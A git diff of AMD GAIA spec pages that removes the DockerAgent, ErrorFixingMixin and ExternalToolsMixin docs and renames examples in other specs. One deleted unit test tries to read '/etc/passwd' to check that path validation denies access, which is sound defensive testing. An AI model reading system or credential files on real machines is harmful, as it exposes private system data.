DockerAgent(MCPAgent): - """ - Intelligent Docker agent for containerization. - """ - - DEFAULT_MODEL = "Gemma-4-E4B-it-GGUF" - DEFAULT_MAX_STEPS = 10 - DEFAULT_PORT = 8080 - - def __init__( - self, - allowed_paths: List[str] = None, - **kwargs - ): - """ - Initialize Docker agent. - - Args: - allowed_paths: List of allowed directories for security - **kwargs: max_steps, model_id, silent_mode, debug, show_prompts - """ - pass - - # Tools - @tool - def analyze_directory(path: str = ".") -> Dict[str, Any]: - """ - Analyze application to determine type and dependencies. - - Returns: - { - "app_type": "flask"|"django"|"node"|"express"|"react", - "entry_point": "app.py"|"server.js", - "dependencies": "requirements.txt"|"package.json", - "port": 5000, - "additional_files": [".env.example", "docker-compose.yml"] - } - """ - pass - - @tool - def save_dockerfile( - dockerfile_content: str, - path: str = ".", - port: int = 5000 - ) -> Dict[str, Any]: - """ - Save LLM-generated Dockerfile. - - Args: - dockerfile_content: Complete Dockerfile content from LLM - path: Directory to save in - port: Exposed port - - Returns: - { - "status": "success", - "path": "/path/to/Dockerfile", - "next_steps": ["Build command...", "Run command..."] - } - """ - pass - - @tool - def build_image(path: str = ".", tag: str = "app:latest") -> Dict[str, Any]: - """ - Build Docker image. - - Returns: - { - "status": "success"|"error", - "success": True|False, - "image": "app:latest", - "output": "build logs..." - } - """ - pass - - @tool - def run_container( - image: str, - port: str = None, - name: str = None - ) -> Dict[str, Any]: - """ - Run Docker container. - - Returns: - { - "status": "success", - "container_id": "abc123", - "url": "http://localhost:5000" - } - """ - pass - - # MCP Interface - def get_mcp_tool_definitions(self) -> list[Dict[str, Any]]: - """Return MCP tool definitions.""" - pass - - def execute_mcp_tool( - self, - tool_name: str, - arguments: Dict[str, Any] - ) -> Dict[str, Any]: - """Execute MCP tool (currently only 'dockerize').""" - pass -``` - -### MCP Tool Definition - -```json -{ - "name": "dockerize", - "description": "Containerize an application: analyze → generate Dockerfile → build → run", - "inputSchema": { - "type": "object", - "properties": { - "appPath": { - "type": "string", - "description": "Absolute path to application root (e.g., C:/Users/name/myapp)" - }, - "port": { - "type": "integer", - "description": "Application port (default: 5000)", - "default": 5000 - } - }, - "required": ["appPath"] - } -} -``` - ---- - -## Implementation Details - -### Application Analysis - -```python -def _analyze_directory(self, path: str) -> Dict[str, Any]: - """Analyze application structure.""" - - path_obj = Path(path).resolve() - - result = { - "path": str(path_obj), - "app_type": "unknown", - "entry_point": None, - "dependencies": None, - "port": 8080, - "additional_files": [], - } - - # Check for Python app - requirements = path_obj / "requirements.txt" - if requirements.exists(): - result["app_type"] = "python" - result["dependencies"] = "requirements.txt" - - # Detect framework from requirements - content = requirements.read_text().lower() - if "flask" in content: - result["app_type"] = "flask" - result["port"] = 5000 - elif "django" in content: - result["app_type"] = "django" - elif "fastapi" in content: - result["app_type"] = "fastapi" - - # Find entry point - for entry in ["app.py", "main.py", "run.py"]: - if (path_obj / entry).exists(): - result["entry_point"] = entry - break - - # Check for Node.js app - package_json = path_obj / "package.json" - if package_json.exists(): - result["app_type"] = "node" - result["dependencies"] = "package.json" - - pkg_data = json.loads(package_json.read_text()) - - # Detect framework - deps = pkg_data.get("dependencies", {}) - if "express" in deps: - result["app_type"] = "express" - elif "next" in deps: - result["app_type"] = "nextjs" - - # Entry point - result["entry_point"] = pkg_data.get("main", "index.js") - - return result -``` - -### Dockerfile Generation (LLM) - -**System Prompt teaches LLM best practices:** -```python -def _get_system_prompt(self) -> str: - return """You are a Docker expert that generates optimized Dockerfiles. - -**Best Practices:** -- Use slim/alpine base images -- Copy dependency files first for caching -- Combine RUN commands to minimize layers -- Use non-root users when possible -- Expose appropriate ports - -**Example Dockerfiles:** - -Python/Flask: -``` -FROM python:3.9-slim -WORKDIR /app -COPY requirements.txt . -RUN pip install --no-cache-dir -r requirements.txt -COPY . . -EXPOSE 5000 -CMD ["python", "app.py"] -``` - -Node.js/Express: -``` -FROM node:18-alpine -WORKDIR /app -COPY package*.json ./ -RUN npm ci --only=production -COPY . . -EXPOSE 3000 -CMD ["npm", "start"] -``` - -**Workflow:** -1. analyze_directory → understand app -2. save_dockerfile → save generated content -3. build_image → docker build -4. run_container → docker run -""" -``` - -### Security: Path Validation - -```python -def _analyze_directory(self, path: str) -> Dict[str, Any]: - # Security check - if not self.path_validator.is_path_allowed(path): - return { - "status": "error", - "error": f"Access denied: {path} not in allowed paths" - } - - path_obj = Path(path).resolve() - if not path_obj.exists(): - return {"status": "error", "error": f"Directory does not exist: {path}"} - - # Continue with analysis... -``` - ---- - -## Testing Requirements - -### Unit Tests - -```python -# tests/agents/test_docker_agent.py - -def test_analyze_flask_app(tmp_path): - """Test Flask app detection.""" - # Create Flask app structure - (tmp_path / "requirements.txt").write_text("flask==2.0.0") - (tmp_path / "app.py").write_text("from flask import Flask") - - agent = DockerAgent(allowed_paths=[str(tmp_path)]) - result = agent._analyze_directory(str(tmp_path)) - - assert result["app_type"] == "flask" - assert result["entry_point"] == "app.py" - assert result["port"] == 5000 - -def test_analyze_node_app(tmp_path): - """Test Node.js app detection.""" - (tmp_path / "package.json").write_text(json.dumps({ - "main": "server.js", - "dependencies": {"express": "^4.18.0"} - })) - (tmp_path / "server.js").write_text("const express = require('express')") - - agent = DockerAgent(allowed_paths=[str(tmp_path)]) - result = agent._analyze_directory(str(tmp_path)) - - assert result["app_type"] == "express" - assert result["entry_point"] == "server.js" - -def test_dockerfile_generation(tmp_path): - """Test Dockerfile is saved.""" - agent = DockerAgent(allowed_paths=[str(tmp_path)], silent_mode=True) - - dockerfile_content = """FROM python:3.9-slim -WORKDIR /app -COPY requirements.txt . -RUN pip install -r requirements.txt -COPY . . -EXPOSE 5000 -CMD ["python", "app.py"] -""" - - result = agent._save_dockerfile(dockerfile_content, str(tmp_path), 5000) - - assert result["status"] == "success" - assert (tmp_path / "Dockerfile").exists() - assert "Build the Docker image" in result["next_steps"][0] - -def test_mcp_dockerize_validates_absolute_path(tmp_path): - """Test MCP tool rejects relative paths.""" - agent = DockerAgent(allowed_paths=[str(tmp_path)]) - - # Relative path should fail - result = agent.execute_mcp_tool("dockerize", {"appPath": "./myapp"}) - - assert result["success"] is False - assert "must be an absolute path" in result["error"] - -def test_security_path_validation(tmp_path): - """Test path validation prevents unauthorized access.""" - agent = DockerAgent(allowed_paths=[str(tmp_path)]) - - # Try to access outside allowed paths - result = agent._analyze_directory("/etc/passwd") - - assert result["status"] == "error" - assert "Access denied" in result["error"] -``` - ---- - -## Dependencies - -```python -# Built-in modules used -import json -import subprocess -from pathlib import Path -from typing import Any, Dict - -# GAIA dependencies -from gaia.agents.base.mcp_agent import MCPAgent -from gaia.agents.base.tools import tool -from gaia.security import PathValidator -``` - ---- - -## Usage Examples - -### Example 1: CLI Usage - -```bash -# Start Docker agent -gaia docker "Containerize my Flask app in ./myapp" -``` - -### Example 2: Python API - -```python -from gaia_agent_docker.agent import DockerAgent - -# Initialize agent -agent = DockerAgent( - allowed_paths=["/home/user/projects"], - silent_mode=False -) - -# Dockerize app -result = agent.process_query( - "Dockerize the Flask app at /home/user/projects/myapp and run it on port 5000" -) - -print(result["result"]) -``` - -### Example 3: MCP Integration - -```python -from gaia.mcp.agent_mcp_server import AgentMCPServer -from gaia_agent_docker.agent import DockerAgent - -# Start MCP server -server = AgentMCPServer( - agent_class=DockerAgent, - name="Docker Agent MCP", - port=8080, - verbose=True -) - -server.start() -``` - -**Call from MCP client:** -```json -{ - "tool": "dockerize", - "arguments": { - "appPath": "C:/Users/john/myflaskapp", - "port": 5000 - } -} -``` - ---- - -## Related Specifications - -- [agent-base](/spec/agent-base) - Agent architecture -- [mcp-server](/spec/mcp-server) - MCP server system -- [jira-agent](/spec/jira-agent) - Similar agent pattern - ---- - -*DockerAgent Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/electron-integration.mdx b/docs/spec/electron-integration.mdx index 311089d61..15561aa86 100644 --- a/docs/spec/electron-integration.mdx +++ b/docs/spec/electron-integration.mdx @@ -23,7 +23,7 @@ The Electron Integration system provides a reusable framework for packaging GAIA **Key Features:** - Shared Electron framework (`@amd-gaia/electron`) -- Multi-app support (Jira, Chat, Docker) +- Multi-app support via `app.config.json` — currently shipping the flagship Agent UI (`webui`) - Dynamic app loading via `app.config.json` - Express backend integration - MCP client communication @@ -134,7 +134,7 @@ flowchart TD | **electron/src/** | `main.js` (entry point), `app-controller.js` (lifecycle) | | **electron/preload/** | `preload.js` (renderer context bridge) | | **electron/services/** | `window-manager.js`, `base-ipc-handlers.js`, `mcp-client.js` | -| **apps/** | `jira/webui/`, `chat/webui/`, `docker/webui/` - each with `app.config.json` | +| **apps/** | `webui/` (flagship Agent UI), `example/webui/` - each with `app.config.json` | --- @@ -185,23 +185,23 @@ flowchart TD } ``` -**Example:** `src/gaia/apps/jira/webui/app.config.json` +**Example:** `src/gaia/apps/webui/app.config.json` (the flagship Agent UI) ```json { - "name": "jira", - "displayName": "GAIA Jira Assistant", - "port": 3001, + "name": "agent-ui", + "displayName": "GAIA Agent UI", "window": { "width": 1400, "height": 900, - "minWidth": 1024, - "minHeight": 768, - "resizable": true + "minWidth": 900, + "minHeight": 700 }, "backend": { - "apiUrl": "http://localhost:13305/api/v1", - "mcpPort": 8765, - "healthCheck": "/health" + "command": "gaia", + "args": ["chat", "--ui", "--ui-port", "4200"], + "port": 4200, + "healthCheck": "/api/health", + "startupTimeout": 15000 } } ``` @@ -301,7 +301,7 @@ window.electronAPI = { ```bash # Required -GAIA_APP_NAME=jira|chat|docker # App to launch +GAIA_APP_NAME=webui|example # App to launch # Optional GAIA_APP_MODE=production|development # Run mode (default: production) @@ -456,13 +456,12 @@ const path = require('path'); describe('App Configuration', () => { it('should load valid app.config.json', () => { - const configPath = path.join(__dirname, '../../src/gaia/apps/jira/webui/app.config.json'); + const configPath = path.join(__dirname, '../../src/gaia/apps/webui/app.config.json'); const config = JSON.parse(fs.readFileSync(configPath, 'utf8')); assert(config.name, 'name is required'); assert(config.displayName, 'displayName is required'); - assert(config.port, 'port is required'); - assert(config.port >= 3000 && config.port < 10000, 'port must be 3000-9999'); + assert(config.backend.port, 'backend.port is required'); }); it('should validate window configuration', () => { @@ -499,7 +498,7 @@ describe('App Launch', function() { app = new Application({ path: require('electron'), args: [path.join(__dirname, '../../src/gaia/electron/src/main.js')], - env: { GAIA_APP_NAME: 'jira', GAIA_APP_MODE: 'development' } + env: { GAIA_APP_NAME: 'webui', GAIA_APP_MODE: 'development' } }); await app.start(); @@ -517,12 +516,12 @@ describe('App Launch', function() { it('should load app URL', async () => { const url = await app.client.getUrl(); - assert(url.includes('localhost:3001')); + assert(url.includes('localhost:4200')); }); it('should have correct title', async () => { const title = await app.client.getTitle(); - assert(title.includes('GAIA Jira')); + assert(title.includes('GAIA Agent UI')); }); }); ``` @@ -607,7 +606,7 @@ GAIA_APP_NAME=myapp npm start ```bash # Run with dev tools -GAIA_APP_NAME=jira GAIA_APP_MODE=development npm start +GAIA_APP_NAME=webui GAIA_APP_MODE=development npm start ``` ### Example 3: Production Build @@ -628,7 +627,7 @@ npm run build:linux ## Related Specifications - [mcp-server](/spec/mcp-server) - MCP server integration -- [jira-agent](/spec/jira-agent) - Example agent using Electron UI +- [chat-agent](/spec/chat-agent) - Backs the flagship Agent UI's Electron shell --- diff --git a/docs/spec/error-fixing-mixin.mdx b/docs/spec/error-fixing-mixin.mdx deleted file mode 100644 index c01bda34a..000000000 --- a/docs/spec/error-fixing-mixin.mdx +++ /dev/null @@ -1,498 +0,0 @@ ---- -title: "ErrorFixingMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/error_fixing.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/error_fixing.py) - - - -**Component:** ErrorFixingMixin -**Module:** `gaia_agent_code.tools.error_fixing` -**Import:** `from gaia_agent_code.tools.error_fixing import ErrorFixingMixin` - ---- - -## Overview - -ErrorFixingMixin provides automatic error detection and fixing capabilities using LLM-driven analysis. It handles syntax errors, linting issues, runtime errors, and includes workflow planning tools for complex projects. - -**Key Features:** -- Automatic syntax error detection and fixing -- LLM-based code correction -- Pylint error fixing with iteration -- Runtime error fixing -- Architectural plan generation -- Project structure creation -- Workflow planning -- GAIA.md initialization from codebase - ---- - -## Tool Specifications - -### 1. auto_fix_syntax_errors - -Scan project for syntax errors and fix them automatically. - -**Parameters:** -- `project_path` (str, required): Path to project directory - -**Returns:** -```python -{ - "status": "success", - "files_fixed": int, - "errors_remaining": int, - "fixed_files": [ - {"file": str, "errors_fixed": List[str]} - ], - "errors_found": [ - {"file": str, "errors": List[str]} - ], - "message": str -} -``` - -### 2. fix_code - -Fix Python code using LLM analysis. - -**Parameters:** -- `file_path` (str, required): Path to file to fix -- `error_description` (str, optional): Error description - -**Returns:** -```python -{ - "status": "success", - "file_modified": bool, - "original_lines": int, - "fixed_lines": int, - "diff": str, - "message": str -} -``` - -### 3. fix_linting_errors - -Fix pylint issues iteratively. - -**Parameters:** -- `file_path` (str, required): Path to file -- `lint_issues` (List[Dict], required): Pylint issues - -**Returns:** -```python -{ - "status": "success", - "fixes_applied": List[str], - "file_modified": bool, - "total_fixes": int, - "iterations": int, - "remaining_issues": int, - "backup_created": str # If create_backup=True -} -``` - -### 4. fix_python_errors - -Fix runtime errors automatically. - -**Parameters:** -- `file_path` (str, required): Path to file -- `error_message` (str, required): Runtime error message - -**Returns:** -```python -{ - "status": "success", - "fixes_applied": List[str], - "file_modified": bool -} -``` - -**Handled Errors:** -- NameError (add missing imports) -- IndentationError (fix spacing) -- TypeError (add type checking) - -### 5. create_architectural_plan - -Generate architectural plan for a project. - -**Parameters:** -- `query` (str, required): Project requirements -- `project_type` (str, optional): "application", "library", "game", "api" - -**Returns:** -```python -{ - "status": "success", - "plan_created": bool, - "plan_file": str, - "project_name": str, - "num_files": int, - "num_classes": int, - "message": str -} -``` - -**Generated Plan Structure:** -```python -{ - "project_name": str, - "project_type": str, - "description": str, - "created": str, # ISO timestamp - "architecture": { - "overview": str, - "components": List, - "folder_structure": Dict, - "files": List, - "classes": List, - "functions": List, - "dependencies": List - }, - "implementation_order": List[str], - "execution_steps": [ - { - "step": int, - "action": str, - "description": str, - "completed": bool - } - ] -} -``` - -### 6. create_project_structure - -Create folder structure from architectural plan. - -**Parameters:** None (uses self.plan) - -**Returns:** -```python -{ - "status": "success", - "project_root": str, - "dirs_created": int, - "files_created": int, - "created_dirs": List[str], - "created_files": List[str], - "message": str -} -``` - -### 7. implement_from_plan - -Implement components from architectural plan. - -**Parameters:** -- `component` (str, optional): Specific component to implement -- `auto_implement_all` (bool, optional): Implement all (default: False) - -**Returns:** -```python -{ - "status": "success", - "implemented": List[Dict], - "errors": List[Dict], - "total_implemented": int, - "total_errors": int, - "message": str -} -``` - -### 8. init_gaia_md - -Initialize GAIA.md from codebase analysis. - -**Parameters:** -- `project_root` (str, optional): Root directory (default: ".") - -**Returns:** -```python -{ - "status": "success", - "file_path": str, - "project_name": str, - "project_type": str, - "python_files": int, - "classes_found": int, - "functions_found": int, - "message": str -} -``` - -### 9. create_workflow_plan - -Plan a complex multi-step workflow. The code agent uses this when a user -request can't be satisfied by a single tool call — it decomposes the request -into an ordered plan of tool invocations the agent then executes. - -**Parameters:** -- `query` (str, required): Natural-language description of the workflow to plan - -**Returns:** -```python -{ - "status": "success", - "plan": [ - {"step": int, "tool": str, "tool_args": dict, "description": str}, - ... - ], - "rationale": str, -} -``` - ---- - -## Usage Examples - -### Example 1: Auto-Fix Syntax Errors - -```python -from gaia_agent_code import CodeAgent - -agent = CodeAgent() - -result = agent.auto_fix_syntax_errors("/path/to/project") - -print(f"Fixed {result['files_fixed']} files") -print(f"Remaining errors: {result['errors_remaining']}") - -for fixed in result["fixed_files"]: - print(f"\n✓ {fixed['file']}") - for error in fixed["errors_fixed"]: - print(f" - {error}") -``` - -### Example 2: Fix Code with LLM - -```python -result = agent.fix_code( - file_path="src/calculator.py", - error_description="Line 42: SyntaxError: invalid syntax" -) - -if result["file_modified"]: - print("Changes made:") - print(result["diff"]) -``` - -### Example 3: Fix Linting Errors - -```python -# Get pylint issues -lint_result = agent.analyze_with_pylint(file_path="src/app.py") - -if not lint_result["clean"]: - # Fix issues - fix_result = agent.fix_linting_errors( - file_path="src/app.py", - lint_issues=lint_result["issues"] - ) - - print(f"Applied {fix_result['total_fixes']} fixes") - print(f"Iterations: {fix_result['iterations']}") - print(f"Remaining issues: {fix_result['remaining_issues']}") -``` - -### Example 4: Create Architectural Plan - -```python -result = agent.create_architectural_plan( - query="Create a snake game with pygame", - project_type="game" -) - -print(f"Plan created: {result['plan_file']}") -print(f"Project: {result['project_name']}") -print(f"Files to create: {result['num_files']}") - -# Create structure -structure_result = agent.create_project_structure() -print(f"Created {structure_result['dirs_created']} dirs") - -# Implement all -impl_result = agent.implement_from_plan(auto_implement_all=True) -print(f"Implemented {impl_result['total_implemented']} components") -``` - -### Example 5: Initialize GAIA.md - -```python -result = agent.init_gaia_md(project_root="/path/to/project") - -print(f"Analyzed {result['python_files']} Python files") -print(f"Found {result['classes_found']} classes") -print(f"Found {result['functions_found']} functions") -print(f"Created: {result['file_path']}") -``` - ---- - -## LLM-Based Fixing - -### Fix Code Prompt Template - -```python -prompt = f"""Fix the following {lang_label} code error: - -File path: {file_path} -Error: {error_msg} - -Code: -```{lang} -{code} -``` - -{context} - -Return ONLY the corrected code, no explanations.""" -``` - -### Iterative Linting Fix - -```python -iteration = 0 -while remaining_issues and iteration < max_iterations: - iteration += 1 - - # Format issues for LLM - issues_text = "\n".join([ - f"Line {issue['line']}: [{issue['symbol']}] {issue['message']}" - for issue in remaining_issues[:10] - ]) - - # Get fixed code from LLM - response = self.chat.send(prompt) - fixed_code = extract_code(response.text) - - # Validate - validation = self.syntax_validator.validate_dict(fixed_code) - if not validation["is_valid"]: - break - - # Write and re-check - path.write_text(fixed_code) - remaining_issues = run_pylint(path) -``` - ---- - -## Project Templates - -### Game Project Structure - -```python -{ - "main.py": "Entry point and main loop", - "core/": { - "__init__.py": "Core package initialization", - "game.py": "Main game logic", - "entities.py": "Game entities and objects", - "physics.py": "Physics and collision detection" - }, - "ui/": { - "__init__.py": "UI package initialization", - "renderer.py": "Rendering and display", - "menu.py": "Menu screens" - } -} -``` - -### API Project Structure - -```python -{ - "main.py": "Application entry point", - "api/": { - "__init__.py": "API package initialization", - "routes.py": "API route definitions", - "models.py": "Data models", - "handlers.py": "Request handlers" - }, - "core/": { - "services.py": "Business logic services", - "database.py": "Database connections" - } -} -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_error_fixing.py` - -```python -def test_auto_fix_syntax_errors(tmp_path): - """Test automatic syntax error fixing.""" - # Create file with syntax error - file_path = tmp_path / "test.py" - file_path.write_text("def hello(\npass") - - result = auto_fix_syntax_errors(str(tmp_path)) - - assert result["files_fixed"] > 0 - assert result["errors_remaining"] == 0 - -def test_fix_linting_errors(): - """Test iterative linting fix.""" - lint_issues = [ - { - "line": 1, - "symbol": "missing-docstring", - "message": "Missing module docstring" - } - ] - - result = fix_linting_errors(file_path, lint_issues) - - assert result["file_modified"] - assert result["iterations"] > 0 - -def test_create_architectural_plan(): - """Test plan generation.""" - result = create_architectural_plan( - query="Create a calculator app", - project_type="application" - ) - - assert result["plan_created"] - assert "calculator" in result["project_name"].lower() -``` - ---- - -## Dependencies - -```python -import ast -import logging -import os -from datetime import datetime -from pathlib import Path -from typing import Any, Dict, List - -logger = logging.getLogger(__name__) -``` - ---- - -*ErrorFixingMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/external-tools-mixin.mdx b/docs/spec/external-tools-mixin.mdx deleted file mode 100644 index edd49709c..000000000 --- a/docs/spec/external-tools-mixin.mdx +++ /dev/null @@ -1,399 +0,0 @@ ---- -title: "ExternalToolsMixin" ---- - - - **Source Code:** [`hub/agents/code/python/gaia_agent_code/tools/external_tools.py`](https://github.com/amd/gaia/blob/main/hub/agents/code/python/gaia_agent_code/tools/external_tools.py) - - - -**Component:** ExternalToolsMixin -**Module:** `gaia_agent_code.tools.external_tools` -**Import:** `from gaia_agent_code.tools.external_tools import ExternalToolsMixin` - ---- - -## Overview - -ExternalToolsMixin provides integration with external MCP (Model Context Protocol) services for the Code Agent, enabling documentation lookup and web search capabilities with graceful fallback when services are unavailable. - -**Key Features:** -- Context7 integration for library documentation search -- Perplexity AI integration for web search -- Graceful degradation when services unavailable -- Clear guidance to LLM on fallback behavior -- Optional tools (don't block agent if unavailable) - -**Design Philosophy:** -- **OPTIONAL TOOLS**: Services may not be available, agent uses embedded knowledge -- **GRACEFUL FALLBACK**: Clear instructions to LLM when service unavailable -- **ESCALATION STRATEGY**: Try embedded knowledge first, escalate to user after 2 attempts - ---- - -## API Specification - -```python -class ExternalToolsMixin: - """ - Mixin providing external MCP service tools. - - Tools provided: - - search_documentation: Search library docs via Context7 - - search_web: Search web via Perplexity AI - """ - - @tool - def search_documentation( - query: str, - library: Optional[str] = None - ) -> Dict[str, Any]: - """ - Search library documentation using Context7. - - IMPORTANT: This is an OPTIONAL tool. If unavailable, use embedded - knowledge from training data. - - Use this when you need: - - Library API documentation - - Code examples and usage patterns - - Best practices for specific libraries - - Function/class signatures - - Args: - query: Search query (e.g., "useState hook", "async/await") - library: Optional library name (e.g., "react", "tensorflow") - - Returns: - { - "success": bool, - "documentation": str, # Retrieved docs with examples - "error": str, # If failed - "guidance": str, # Fallback instructions - "unavailable": bool # If Context7 not available - } - - Example: - result = search_documentation("useState hook", library="react") - if result["success"]: - print(result["documentation"]) - else: - # Use embedded knowledge instead - print(result["guidance"]) - """ - pass - - @tool - def search_web(query: str) -> Dict[str, Any]: - """ - Search web for current information using Perplexity AI. - - Use this when you need: - - Current best practices or trends - - Recent library updates - - Solutions to specific problems - - Comparisons between approaches - - Args: - query: Search query (e.g., "Python async best practices 2025") - - Returns: - { - "success": bool, - "answer": str, # Concise answer with info - "error": str # If failed - } - - Requires: - PERPLEXITY_API_KEY environment variable - - Example: - result = search_web("FastAPI CORS setup 2025") - if result["success"]: - print(result["answer"]) - """ - pass -``` - ---- - -## Implementation Details - -### Context7 Integration with Graceful Fallback - -```python -def search_documentation(query: str, library: Optional[str] = None): - try: - service = get_context7_service() - result = service.search_documentation(query, library) - - # Service unavailable - provide guidance - if result.get("unavailable"): - logger.info("Context7 not available - guiding LLM to use embedded knowledge") - return { - "success": False, - "documentation": "", - "error": "Context7 not available. Use your embedded knowledge for this pattern.", - "guidance": ( - "Most common library patterns are in your training data. " - "Try the standard approach first. " - "If you encounter errors after 2 attempts, escalate to the user." - ), - "unavailable": True - } - - # Service available and successful - if result.get("success"): - logger.info("Documentation search successful") - return { - "success": True, - "documentation": result.get("documentation", "") - } - - # Service available but search failed - error_msg = result.get("error", "Unknown error") - logger.warning(f"Documentation search failed: {error_msg}") - return { - "success": False, - "documentation": "", - "error": error_msg - } - - except Exception as e: - logger.error(f"Documentation search error: {e}", exc_info=True) - return { - "success": False, - "documentation": "", - "error": f"Search failed: {str(e)}", - "guidance": "The documentation search tool failed. Use your embedded knowledge for common patterns." - } -``` - -### Perplexity Integration - -```python -def search_web(query: str): - try: - logger.info(f"Searching web: query='{query}'") - - service = get_perplexity_service() - result = service.search_web(query) - - if result.get("success"): - logger.info("Web search successful") - return { - "success": True, - "answer": result.get("answer", "") - } - else: - error_msg = result.get("error", "Unknown error") - logger.warning(f"Web search failed: {error_msg}") - return { - "success": False, - "answer": "", - "error": error_msg - } - - except Exception as e: - logger.error(f"Web search error: {e}", exc_info=True) - return { - "success": False, - "answer": "", - "error": f"Search failed: {str(e)}" - } -``` - ---- - -## Service Configuration - -### Context7 Service - -```python -# gaia/mcp/external_services.py -def get_context7_service(): - """ - Get Context7 service instance. - - Returns service with: - - search_documentation(query, library) method - - Returns {"success": bool, "documentation": str, "unavailable": bool} - """ - pass -``` - -### Perplexity Service - -```python -# gaia/mcp/external_services.py -def get_perplexity_service(): - """ - Get Perplexity service instance. - - Requires: - - PERPLEXITY_API_KEY environment variable - - Returns service with: - - search_web(query) method - - Returns {"success": bool, "answer": str} - """ - pass -``` - ---- - -## Testing Requirements - -**File:** `tests/agents/code/test_external_tools_mixin.py` - -```python -def test_search_documentation_success(agent, monkeypatch): - """Test successful documentation search.""" - def mock_service(): - class MockContext7: - def search_documentation(self, query, library): - return { - "success": True, - "documentation": "useState is a React Hook..." - } - return MockContext7() - - monkeypatch.setattr("gaia.mcp.external_services.get_context7_service", mock_service) - - result = agent.search_documentation("useState hook", library="react") - assert result["success"] is True - assert "useState" in result["documentation"] - -def test_search_documentation_unavailable(agent, monkeypatch): - """Test graceful fallback when Context7 unavailable.""" - def mock_service(): - class MockContext7: - def search_documentation(self, query, library): - return {"unavailable": True} - return MockContext7() - - monkeypatch.setattr("gaia.mcp.external_services.get_context7_service", mock_service) - - result = agent.search_documentation("useState hook") - assert result["success"] is False - assert result["unavailable"] is True - assert "embedded knowledge" in result["guidance"] - -def test_search_documentation_with_library(agent): - """Test library-specific search.""" - result = agent.search_documentation("async/await", library="python") - # Should either succeed or gracefully degrade - -def test_search_web_success(agent, monkeypatch): - """Test successful web search.""" - def mock_service(): - class MockPerplexity: - def search_web(self, query): - return { - "success": True, - "answer": "Python async best practices include..." - } - return MockPerplexity() - - monkeypatch.setattr("gaia.mcp.external_services.get_perplexity_service", mock_service) - - result = agent.search_web("Python async best practices 2025") - assert result["success"] is True - assert "async" in result["answer"] - -def test_search_web_no_api_key(agent, monkeypatch): - """Test web search without API key.""" - monkeypatch.delenv("PERPLEXITY_API_KEY", raising=False) - result = agent.search_web("test query") - assert result["success"] is False - assert "error" in result -``` - ---- - -## Usage Examples - -### Example 1: Documentation Search with Fallback - -```python -# Try Context7 first -result = agent.search_documentation("useState hook", library="react") - -if result["success"]: - print(f"Documentation:\n{result['documentation']}") -else: - if result.get("unavailable"): - print("Context7 unavailable, using embedded knowledge") - # Agent proceeds with built-in React knowledge - else: - print(f"Search failed: {result['error']}") -``` - -### Example 2: Web Search for Current Info - -```python -# Search for recent best practices -result = agent.search_web("Python async best practices 2025") - -if result["success"]: - print(f"Answer: {result['answer']}") -else: - print(f"Web search failed: {result['error']}") - # Agent may try alternative approach -``` - -### Example 3: Library-Specific Documentation - -```python -# Search specific library docs -libraries = ["react", "tensorflow", "fastapi"] - -for lib in libraries: - result = agent.search_documentation("getting started", library=lib) - if result["success"]: - print(f"\n{lib} docs:\n{result['documentation']}") -``` - ---- - -## Environment Variables - -```bash -# Optional: Context7 API key (if required) -export CONTEXT7_API_KEY="your-key-here" - -# Required for web search -export PERPLEXITY_API_KEY="your-perplexity-key" -``` - ---- - -## Escalation Strategy - -When external tools are unavailable: - -1. **First Attempt**: Use embedded knowledge from training data -2. **Second Attempt**: Try alternative approach or reformulate -3. **After 2 Failures**: Escalate to user with clear explanation - -Example guidance: -``` -"Most common library patterns are in your training data. Try the standard -approach first. If you encounter errors after 2 attempts, escalate to the user." -``` - ---- - -*ExternalToolsMixin Technical Specification* - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - \ No newline at end of file diff --git a/docs/spec/file-change-handler.mdx b/docs/spec/file-change-handler.mdx index faec2819f..5941068da 100644 --- a/docs/spec/file-change-handler.mdx +++ b/docs/spec/file-change-handler.mdx @@ -398,7 +398,7 @@ def test_callback_error_handling(): ## Usage Examples -### Example 1: EMR Intake Agent (Auto-Process Forms) +### Example 1: Form Intake Agent (Auto-Process Forms) ```python from gaia import Agent, FileChangeHandler @@ -406,8 +406,8 @@ from gaia.llm import VLMClient from watchdog.observers import Observer from pathlib import Path -class MedicalIntakeAgent(Agent): - """Process medical intake forms automatically.""" +class FormIntakeAgent(Agent): + """Process scanned forms automatically.""" def __init__(self, watch_dir: str = "./intake_forms", **kwargs): super().__init__(**kwargs) @@ -440,7 +440,7 @@ class MedicalIntakeAgent(Agent): """Extract data from intake form.""" path = Path(image_path) image_bytes = path.read_bytes() - extracted = self.vlm.extract_from_image(image_bytes, "Extract patient data") + extracted = self.vlm.extract_from_image(image_bytes, "Extract form fields") return {"file": str(path), "data": extracted} def __del__(self): @@ -597,10 +597,6 @@ Add new section after Tool Mixins: [Full documentation with examples] ``` -### Update EMR Example - -Replace manual file watching with FileChangeHandler in medical-intake-build-guide.md - --- ## Implementation Checklist @@ -646,7 +642,6 @@ Replace manual file watching with FileChangeHandler in medical-intake-build-guid - [ ] Can import: `from gaia import FileChangeHandler` - [ ] Example code works - [ ] All tests pass -- [ ] EMR agent can use it --- diff --git a/docs/spec/file-io-tools-mixin.mdx b/docs/spec/file-io-tools-mixin.mdx index 226aa382a..ee2d8b130 100644 --- a/docs/spec/file-io-tools-mixin.mdx +++ b/docs/spec/file-io-tools-mixin.mdx @@ -266,9 +266,15 @@ what it's building. ### Example 1: Read and Analyze Python File ```python -from gaia_agent_code import CodeAgent +from gaia.agents.base.agent import Agent +from gaia.agents.tools.file_io_tools import FileIOToolsMixin -agent = CodeAgent() +class MyAgent(Agent, FileIOToolsMixin): + def _register_tools(self): + super()._register_tools() + self.register_file_io_tools() + +agent = MyAgent() result = agent.read_file("calculator.py") @@ -367,7 +373,7 @@ if not self.path_validator.is_path_allowed(file_path): ### Allowed Paths Configuration ```python -# Typically configured in CodeAgent +# Typically configured when the agent is constructed path_validator = PathValidator( allowed_paths=[ "/path/to/workspace", diff --git a/docs/spec/file-system-agent.mdx 